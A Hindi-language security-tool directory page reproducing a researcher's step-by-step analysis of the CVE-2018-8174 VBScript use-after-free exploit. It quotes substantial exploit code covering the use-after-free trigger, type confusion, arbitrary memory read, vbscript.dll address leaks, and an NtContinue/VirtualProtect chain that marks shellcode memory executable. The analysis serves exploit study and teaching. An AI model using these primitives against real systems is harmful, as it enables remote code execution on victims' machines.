Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
cve-2018-8174_analysis — VBS एक्सप्लॉइट CVE-2018-8174 का विश्लेषण | Kitploit
उपकरण/GitHubGitHub/piotrflorczyk/cve-2018-8174_analysis
मेमोरी फोरेंसिकभेद्यता विश्लेषणशोषणरिवर्स इंजीनियरिंगलर्निंग और शिक्षाबाइनरी शोषण
GitHubpiotrflorczyk/cve-2018-8174_analysis

cve-2018-8174_analysis

VBS एक्सप्लॉइट CVE-2018-8174 का विश्लेषण

रिपॉजिटरी देखें
30148 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

आधुनिक ब्राउज़र एक्सप्लॉइट का विश्लेषण: CVE-2018-8174 का केस स्टडी

अवलोकन

जब यह एक्सप्लॉइट अप्रैल और मई के मोड़ पर पहली बार सामने आया तो इसने मेरी रुचि बढ़ा दी, क्योंकि भारी ऑब्सफस्केशन के बावजूद, कोड संरचना अच्छी तरह से व्यवस्थित लग रही थी और भेद्यता शोषण कोड इतना छोटा था कि विश्लेषण सरल हो गया। मैंने github से POC डाउनलोड किया और निर्णय लिया कि यह अंदर की कार्यप्रणाली पर नज़र डालने के लिए एक अच्छा उम्मीदवार होगा। उस समय दो विश्लेषण पहले ही प्रकाशित हो चुके थे, पहला 360 से और दूसरा Kaspersky से। दोनों ने मुझे यह समझने में मदद की कि यह कैसे काम करता है, लेकिन एक्सप्लॉइट के हर पहलू को गहराई से समझने के लिए पर्याप्त नहीं थे। इसीलिए मैंने इसे स्वयं विश्लेषित करने और अपने निष्कर्ष साझा करने का निर्णय लिया।

प्रीप्रोसेसिंग

सबसे पहले इंटीजर ऑब्सफस्केशन को हटाने के लिए मैंने python स्क्रिप्ट में regex substitution का उपयोग किया:

root@kitploit:~
import re
def process(matchobj):
	line = matchobj.group(1)
	line = line.lower().replace('&h', '0x')
	return str(eval(line))			# extremly safe :) 

data = open('analysis.vbs', 'r').read()	
result = re.sub('\((&h[^\)]+)\)', process, data)
open('result.vbs', 'w').write(result)

जहाँ तक ऑब्सफस्केटेड नामों का सवाल है, विश्लेषण के दौरान मैंने उन्हें क्रमिक रूप से नया नाम दिया। इस विश्लेषण को उस स्रोत कोड के साथ पढ़ना सबसे अच्छा है, जिसका लिंक अंत में दिया गया है।

Use after free

भेद्यता तब उत्पन्न होती है, जब ऑब्जेक्ट समाप्त हो जाता है और कस्टम परिभाषित फ़ंक्शन Class_Terminate() को कॉल किया जाता है। इस फ़ंक्शन में फ्री किए जा रहे ऑब्जेक्ट का संदर्भ UafArray में सहेजा जाता है। अब से UafArray(i) हटाए गए ऑब्जेक्ट को संदर्भित करता है।

root@kitploit:~
Class ClassTerminateA
Private Sub Class_Terminate()
	Set UafArrayA(UafCounter)=FreedObjectArray(1)
	UafCounter=UafCounter+1
	FreedObjectArray(1)=1	' fix ref counter
End Sub
End Class
...
UafCounter=0	
For idx=0 To 6
	ReDim FreedObjectArray(1)
	Set FreedObjectArray(1)=New ClassTerminateA
	Erase FreedObjectArray
Next

इसके अलावा Class_Terminate() में अंतिम पंक्ति पर ध्यान दें। जब हम ClassTerminate ऑब्जेक्ट को UafArray में कॉपी करते हैं तो उसका रेफरेंस काउंटर बढ़ जाता है। इसे संतुलित करने के लिए हम FreedObjectArray को कोई अन्य मान देकर उसे फिर से फ्री करते हैं। इसके बिना, Class_Terminate कॉल करने के बावजूद ऑब्जेक्ट की मेमोरी फ्री नहीं होगी और अगला ऑब्जेक्ट उसके स्थान पर आवंटित नहीं होगा।

VBScriptClass::Release method

नए ऑब्जेक्ट बनाना और हटाना एक लूप में 7 बार दोहराया जाता है, उसके बाद ReuseClass क्लास का एक नया ऑब्जेक्ट बनाया जाता है। इसे उसी मेमोरी में आवंटित किया जाता है जो पहले 7 ClassTerminate इंस्टेंस द्वारा घेरी गई थी। इसे बेहतर ढंग से समझने के लिए, यहाँ एक सरल WinDbg स्क्रिप्ट है जो उन सभी आवंटनों को ट्रैक करती है:

root@kitploit:~
bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";

यहाँ UafTrigger फ़ंक्शन से आवंटन लॉग दिया गया है:

root@kitploit:~
Class EmptyClass created at 3a7d90
Class EmptyClass created at 3a7dc8
...
Class ReuseClass created at 22601a0
Class ReuseClass created at 22601d8
Class ReuseClass created at 2260210
...
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 22605c8
...
Class ClassTerminateB created at 2260600
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 1
Class ClassTerminateB at 2260600, terminate called
Class ClassTerminateB at: 70541748 ref counter, release called: 5
Class ClassTerminateB at: 70541748 ref counter, release called: 4
Class ClassTerminateB at: 70541748 ref counter, release called: 3
Class ClassTerminateB at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 2260600

हम तुरंत देख सकते हैं कि ReuseClass वास्तव में उसी मेमोरी में आवंटित किया गया है जो पिछले 7 ClassTerminate इंस्टेंस को दी गई थी। यह दो बार दोहराया जाता है। हमें दो ऑब्जेक्ट मिलते हैं जिन्हें UafArrays द्वारा संदर्भित किया जाता है। उनमें से कोई भी संदर्भ ऑब्जेक्ट के रेफरेंस काउंटर में प्रतिबिंबित नहीं होता है। इस लॉग में हम यह भी देख सकते हैं कि Class_Terminate कॉल किए जाने के बाद भी कुछ ऑब्जेक्ट परिवर्तन होते हैं जो उसके रेफरेंस काउंटर को बदलते हैं। इसीलिए यदि हम Class_Terminate में इस काउंटर को संतुलित नहीं करते तो हमें कुछ इस तरह का परिणाम मिलता:

root@kitploit:~
Class ClassTerminateA created at 2240708
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 1
Class ClassTerminateA at 2240708, terminate called
Class ClassTerminateA at: 6c161748 ref counter, release called: 5
Class ClassTerminateA at: 6c161748 ref counter, release called: 4
Class ClassTerminateA at: 6c161748 ref counter, release called: 3
Class ReuseClass created at 2240740

अलग-अलग आवंटन पते। एक्सप्लॉइट use after free स्थिति बनाने में विफल हो जाता।

Type Confusion

उन दो ऑब्जेक्ट्स को प्रत्येक के 7 बिना गिने संदर्भों के साथ बनाने के बाद, हमने arbitrary memory read primitive स्थापित किया। यहाँ दो समान क्लास हैं ReuseClass और FakeReuseClass। पहली क्लास को दूसरी से बदलने पर mem सदस्य पर type confusion उत्पन्न होता है।

root@kitploit:~
Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
	mem=Value				' will actually call Default Poperty Get
	SetProp=0
End Function
End Class

Class FakeReuseClass
Dim mem
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class

SetProp फ़ंक्शन में ReuseClass.mem सहेजा जाता है और ReplacingClass_* क्लास का Default Property Get कॉल किया जाता है, उस कॉल का परिणाम ReuseClass.mem में रखा जाएगा।

root@kitploit:~
Public Default Property Get Q
	Dim objectImitatingArray
	Q=CDbl("174088534690791e-324")		'hex value: db 0, 0, 0, 0, 0Ch, 20h, 0, 0
	For idx=0 To 6
		UafArrayA(idx)=0
	Next
	Set objectImitatingArray=New FakeReuseClass
	objectImitatingArray.mem = FakeArrayString
	For idx=0 To 6
		Set UafArrayA(idx)=objectImitatingArray
	Next
End Property

उस getter के अंदर प्रत्येक तत्व को 0 निर्दिष्ट करके UafArray को खाली किया जाता है। इससे UafArray द्वारा संदर्भित ReuseClass ऑब्जेक्ट पर VBScriptClass::Release कॉल होता है। यह पता चलता है कि निष्पादन के इस चरण में ReuseClass ऑब्जेक्ट का रेफरेंस काउंटर 7 के बराबर है, और चूँकि हम Release को 7 बार कॉल करते हैं, यह ऑब्जेक्ट फ्री हो जाता है। और क्योंकि वे संदर्भ use after free स्थिति से आए थे, वे रेफरेंस काउंटर में शामिल नहीं होते हैं। ReuseClass के स्थान पर FakeReuseClass का एक नया ऑब्जेक्ट आवंटित किया जाता है। अब इसका रेफरेंस काउंटर 7 के बराबर करने के लिए, जैसा कि ReuseClass के मामले में था, हम इसे 7 बार UafArray में निर्दिष्ट करते हैं। यहाँ इस ऑपरेशन से पहले और बाद का मेमोरी लेआउट दिया गया है।

Replacing ReuseClass with FakeReuseClass

Diagram for VBScript objects

यह हो जाने के बाद getter फ़ंक्शन एक मान लौटाएगा जो पुराने ReuseClass::mem वेरिएबल को निर्दिष्ट किया जाएगा। जैसा कि मेमोरी डंप में देखा जा सकता है, पुराना मान नए से 0xC बाइट पहले रखा गया था। इस स्थिति को उत्पन्न करने के लिए ऑब्जेक्ट्स को विशेष रूप से तैयार किया गया था, उदाहरण के लिए फ़ंक्शन नामों के लिए उचित लंबाई चुनकर। अब ReuseClass::mem में लिखा गया मान FakeReuseClass::mem हेडर को अधिलेखित कर देगा, जिससे type confusion स्थिति उत्पन्न होगी।

Type confusion on mem member

root@kitploit:~
FakeArrayString=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000") 'SAFEARRAY structure as string
Empty16BString=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000") 'String with nulls, used as memory to write to

objectImitatingArray.mem = FakeArrayString

अंतिम पंक्ति ने स्ट्रिंग FakeArrayString को objectImitatingArray.mem में निर्दिष्ट किया। हेडर में अब VT_BSTR का मान है।

root@kitploit:~
Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0

इस मान ने objectImitatingArray.mem के प्रकार को VT_ARRAY | VT_VARIANT में अधिलेखित कर दिया और अब स्ट्रिंग का पॉइंटर SAFEARRAY संरचना के पॉइंटर के रूप में व्याख्यायित किया जाएगा।

मनमाना मेमोरी रीड (Arbitrary memory read)

परिणाम यह है कि हमें FakeReuseClass के दो ऑब्जेक्ट मिलते हैं। उनमें से एक का mem सदस्य ऐरे पूरे यूज़र-स्पेस (0x00000000 - 0x7fffffff) को एड्रेस करता है और दूसरे में VT_I4 प्रकार (4 बाइट इंटीजर) का सदस्य है जिसमें एक खाली 16 बाइट स्ट्रिंग का पॉइंटर है। दूसरे ऑब्जेक्ट का उपयोग करके, स्ट्रिंग का पॉइंटर लीक किया जाता है:

root@kitploit:~
some_memory=resueObjectB_int.mem

इसका उपयोग बाद में उस मेमोरी में एक पते के रूप में किया जाएगा जो लिखने योग्य है। अगला कदम vbscript.dll के अंदर किसी भी पते को लीक करना है। यहाँ एक बहुत ही सुंदर तरकीब का उपयोग किया गया है।

root@kitploit:~
Function LeakVBAddr
	On Error Resume Next
	Dim emptySub_addr_placeholder
	emptySub_addr_placeholder=EmptySub
	emptySub_addr_placeholder=null
	SetVarData emptySub_addr_placeholder
	LeakVBAddr=ReadRawPointer()
End Function

पहले हम परिभाषित करते हैं कि त्रुटि होने पर स्क्रिप्ट को केवल सामान्य निष्पादन जारी रखना चाहिए। फिर EmptySub को एक वेरिएबल में निर्दिष्ट करने का प्रयास किया जाता है। यह VBS में संभव नहीं है, लेकिन फिर भी त्रुटि उत्पन्न होने से पहले स्टैक पर एक मान पुश किया जाता है। अगला निर्देश वेरिएबल को null निर्दिष्ट करता है, जो स्टैक के अंतिम मान के प्रकार को केवल VT_NULL में बदलकर करता है। अब emptySub_addr_placeholder फ़ंक्शन का पॉइंटर रखता है लेकिन प्रकार VT_NULL पर सेट होता है।

root@kitploit:~
Function ReadRawPointer
	resueObjectA_arr.mem(some_memory)=3						' set var type to type vbLong 
	ReadRawPointer=resueObjectA_arr.mem(some_memory+8)		' read data as vbLong
End Function
Sub SetVarData(ByRef ref)
	resueObjectA_arr.mem(some_memory+8)=ref				' set data
End Sub

फिर यह मान हमारी लिखने योग्य मेमोरी में लिखा जाता है, इसका प्रकार VT_I4 में बदल दिया जाता है और इसे इंटीजर के रूप में वापस पढ़ा जाता है। यदि हम इस मान की सामग्री की जाँच करें तो यह CScriptEntryPoint का पॉइंटर निकलता है और पहला सदस्य vftable है जो vbscript.dll के अंदर इंगित करता है।

Leaking vbscript.dll address

किसी मनमाने पते से मान पढ़ने के लिए, इस मामले में LeakVBAddr से लौटाया गया पॉइंटर, निम्नलिखित फ़ंक्शन का उपयोग किया जाता है:

root@kitploit:~
Function GetUint32(addr)
	Dim value
	resueObjectA_arr.mem(some_memory+8)=addr+4		' set value as BSTR ptr + 4 (BSTR obj: [len][addr+4], LenB will read from [len] == [addr]
	resueObjectA_arr.mem(some_memory)=8				' set type to VT_BSTR
	value=resueObjectA_arr.ReadBstrValll
	resueObjectA_arr.mem(some_memory)=2				' set type to original VT_I2
	GetUint32=value
End Function
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function

रीड पहले address+4 को लिखने योग्य मेमोरी में लिखकर प्राप्त किया जाता है, फिर प्रकार को VT_BSTR में बदल दिया जाता है। अब address+4 को BSTR के पॉइंटर के रूप में माना जाता है। यदि हम address+4 पर LenB कॉल करते हैं तो यह address द्वारा इंगित मान लौटाएगा। क्यों? क्योंकि BSTR को इस प्रकार परिभाषित किया गया है, यूनिकोड मान से पहले उसकी लंबाई होती है, और वही लंबाई LenB द्वारा लौटाई जाती है।

LenB implementation

अब जब vbscript.dll के अंदर का पता लीक हो गया है, और arbitrary memory read स्थापित हो गया है, तो सभी आवश्यक पते प्राप्त करने के लिए PE हेडर को सही ढंग से ट्रैवर्स करना है।

root@kitploit:~
vbscript=FindMzBase(GetUint32(ptr_toCScriptEntryPointVTble))
msvcrt=GetDllBaseFromExport(vbscript,"msvcrt.dll")
kernelbase=GetDllBaseFromExport(msvcrt,"kernelbase.dll")
ntdll=GetDllBaseFromExport(msvcrt,"ntdll.dll")
VirtualProtect=GetProcAddr(kernelbase,"VirtualProtect")
NtContinue=GetProcAddr(ntdll,"NtContinue")

ऐसा करने का विवरण यहाँ नहीं समझाया जाएगा। यह लेख PE फ़ाइल को विस्तार से समझाता है।

कोड निष्पादन ट्रिगर करना (Triggering code execution)

अंतिम कोड निष्पादन दो चरणों में प्राप्त किया जाता है। पहले दो कॉलों की एक श्रृंखला बनाई जाती है, लेकिन यह ROP श्रृंखला नहीं है। NtContinue को CONTEXT संरचना प्रदान की जाती है जो EIP को VirtualProtect पते पर सेट करती है, और ESP को VirtualProtect के पैरामीटर वाली संरचना पर सेट करती है।

root@kitploit:~
Function VirtualProtectCallParameters(shellcodePtr)
	Dim result
	result = String(10000,Unescape("%u4141"))    		' 'A' * 0x10fdc - padding, this space will be used as stack
	result = result & UnescapeValue(shellcodePtr)		' &shellcode - address to return to after VirtualProtect
	result = result & UnescapeValue(shellcodePtr)		' &shellcode - lpAddress	(1st param for VirtualProtect)
	result = result & UnescapeValue(12288)			' 0x3000 - size (2nd param for VirtualProtect)
	result = result & UnescapeValue(64)			' 0x40 	- newProtect (3rd param for VirtualProtect) 
	result = result & UnescapeValue(shellcodePtr-8)		' &(shellcode-8) - lpOldProtect (4th param for VirtualProtect)
	result = result & String(6,Unescape("%u4242"))		' 'B' * 12	- padding and allignment
	result = result & StructWithNtContinueAddr()		' \x00 * 3  NtContinue * 4 \x00
	result = result & String((524288-LenB(result))/2,Unescape("%u4141"))' 'A' * (0x80000 - current_size) - padding
	VirtualProtectCallParameters = result
End Function

Function StructForNtContinue(structForVirtualProtect)
	Dim result
	Dim ntContinuePtr
	ntContinuePtr = structForVirtualProtect + 35
	result = ""
	result = result & UnescapeValue(ntContinuePtr)
	result = result & String((184-LenB(result))/2,Unescape("%u4141")) ' 'A' * 0xb8  - initalize _CONTEXT with 'A'
	result = result & UnescapeValue(VirtualProtect)		' VirtualProtect - _EIP in _CONTEXT struct
	result = result & UnescapeValue(27)			' 0x1b - CsSeg in _CONTEXT struct
	result = result & UnescapeValue(0)			' 0x00 - EFLAGS in _CONTEXT struct
	result = result & UnescapeValue(structForVirtualProtect) ' structForVirtualProtect - _ESP in _CONTEXT struct
	result = result & UnescapeValue(35)			' 0x23 - SsSeg in _CONTEXT struct
	result = result & String((1024-LenB(result))/2,Unescape("%u4343")) ' 'A' * (0x400 - current_size) - padding
	StructForNtContinue = result
End Function

SetVarData GetShellcode()
shellcodePtr = ReadRawPointer() + 8
SetVarData VirtualProtectCallParameters(shellcodePtr)
structForVirtualProtect = ReadRawPointer() + 20000
SetVarData StructForNtContinue(structForVirtualProtect)

शेलकोड का पहला पता पहले वर्णित तकनीक का उपयोग करके प्राप्त किया जाता है, जिसमें वेरिएबल प्रकार को VT_I4 में बदलकर पॉइंटर पढ़ा जाता है। इसके बाद VirtualProtect के लिए एक संरचना बनाई जाती है, जिसमें सभी आवश्यक पैरामीटर होते हैं, जैसे शेलकोड पता, आकार और RWX सुरक्षा। इसमें वह स्थान भी होता है जिसका उपयोग VirtualProtect के अंदर स्टैक ऑपरेशन द्वारा किया जाएगा। उसके बाद एक CONTEXT संरचना बनाई जाती है, जिसमें EIP VirtualProtect पर और ESP उसके पैरामीटर पर सेट होता है। इस संरचना का पहला मान भी NtContinue पते का पॉइंटर होता है जो 4 बार दोहराया गया है। इस श्रृंखला को शुरू करने से पहले अंतिम चरण संरचना को मेमोरी में स्ट्रिंग के रूप में सहेजना है।

root@kitploit:~
Sub TriggerCodeExecution
	resueObjectA_arr.mem(some_memory)=&h4d
	resueObjectA_arr.mem(some_memory+8)=0
End Sub

इस फ़ंक्शन का उपयोग फिर श्रृंखला शुरू करने के लिए किया जाता है। पहले यह सहेजी गई संरचना के प्रकार को 0x4D में बदलता है और फिर इसका मान 0 सेट करता है, इससे VAR::Clear कॉल होता है।

Code execution

और डिबगर से एक डायनामिक दृश्य

Code execution

हालाँकि यह जटिल लग सकता है, यह निष्पादन श्रृंखला बहुत सरल है। केवल दो चरण। CONTEXT संरचना के साथ NtContinue को लागू करें जो VirtualProtect की ओर इंगित करती है। फिर VirtualProtect शेलकोड वाले मेमोरी पेज पर DEP को अक्षम कर देगा और उसके बाद यह शेलकोड में वापस लौट जाएगा।

निष्कर्ष

CVE-2018-8174 कुछ use after free और type confusion स्थितियों को जोड़कर बहुत ही चतुर तरीके से कोड निष्पादन प्राप्त करने का एक अच्छा उदाहरण है। यह सीखने और ऐसे एक्सप्लॉइट्स की आंतरिक कार्यप्रणाली को समझने के लिए एक बेहतरीन उदाहरण है।

उपयोगी लिंक

टिप्पणी सहित एक्सप्लॉइट कोड

Kaspersky का रूट कॉज़ विश्लेषण

360 का विश्लेषण

Kaspersky का एक और विश्लेषण

Trend Micro द्वारा CVE-2014-6332 विश्लेषण

टूल डाउनलोड करें